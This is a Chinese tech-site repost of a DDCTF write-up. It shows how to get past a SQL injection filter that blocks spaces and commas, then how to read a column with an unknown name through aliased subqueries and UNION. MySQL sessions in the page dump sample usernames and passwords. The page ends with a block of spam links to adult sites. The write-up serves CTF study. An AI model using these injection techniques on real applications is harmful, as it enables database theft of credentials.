<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當前位置: 首頁 - 科技 - 知識百科 - 正文

        Mysql如何繞過未知字段名詳解

        來源:懂視網 責編:小采 時間:2020-11-09 08:44:22
        文檔

        Mysql如何繞過未知字段名詳解

        Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里
        推薦度:
        導讀Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里

        本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。

        前言

        本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

        實現思路

        題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

        存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:

        思想就是獲取flag,讓其在已知字段名下出現;

        示例代碼:

        mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
        +---+---+---+---+
        | a | b | c | d |
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        1 row in set (0.00 sec)
         
        mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        1 row in set (0.00 sec)
         
        mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
        +---+-------+----------+-------------+
        | 1 | 2 | 3 | 4 |
        +---+-------+----------+-------------+
        | 1 | 2 | 3 | 4 |
        | 1 | admin | admin888 | 110@110.com |
        | 2 | test | test123 | 119@119.com |
        | 3 | cs | cs123 | 120@120.com |
        +---+-------+----------+-------------+
        4 rows in set (0.01 sec)
         
        mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
        +-------------+
        | 4 |
        +-------------+
        | 4 |
        | 110@110.com |
        | 119@119.com |
        | 120@120.com |
        +-------------+
        4 rows in set (0.03 sec)
         
        mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
         
        +-------------+
        | 4 |
        +-------------+
        | 120@120.com |
        +-------------+
        1 row in set (0.01 sec)
         
        mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
        union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
        +-------------+----------+----------+-------------+
        | id | username | password | email |
        +-------------+----------+----------+-------------+
        | 1 | admin | admin888 | 110@110.com |
        | 120@120.com | 1 | 1 | 1 |
        +-------------+----------+----------+-------------+
        2 rows in set (0.04 sec)

        聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        Mysql如何繞過未知字段名詳解

        Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里
        推薦度:
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 亚洲成av人在线视| 亚洲中文字幕无码永久在线| 亚洲视频在线不卡| 无码国产精品一区二区免费模式 | 久久精品亚洲中文字幕无码网站| 国产精品视频全国免费观看| 亚洲熟妇无码八AV在线播放| 免费无码又爽又刺激网站| 亚洲AV日韩AV天堂一区二区三区| 麻豆成人久久精品二区三区免费| 亚洲嫩模在线观看| 99无码人妻一区二区三区免费 | 久久久无码精品亚洲日韩京东传媒| 亚洲视频在线观看免费| 久久精品亚洲一区二区三区浴池| 思思re热免费精品视频66| 亚洲色大成网站www尤物| 四虎永久免费观看| 99久久99这里只有免费的精品| 4hu四虎免费影院www| 亚洲中文字幕无码久久2017| 99在线观看精品免费99| ASS亚洲熟妇毛茸茸PICS| 国产无遮挡吃胸膜奶免费看视频| free哆拍拍免费永久视频| 亚洲AV成人精品网站在线播放| 国产一卡二卡四卡免费| 粉色视频免费入口| 亚洲AV无码久久| AV片在线观看免费| 好男人资源在线WWW免费| 亚洲美女激情视频| 免费a级毛片视频| 爱情岛亚洲论坛在线观看| 亚洲精品自在在线观看| 永久免费av无码不卡在线观看| 黄色免费在线网址| 亚洲系列中文字幕| 亚洲精品A在线观看| 91网站免费观看| 亚洲一区二区三区免费|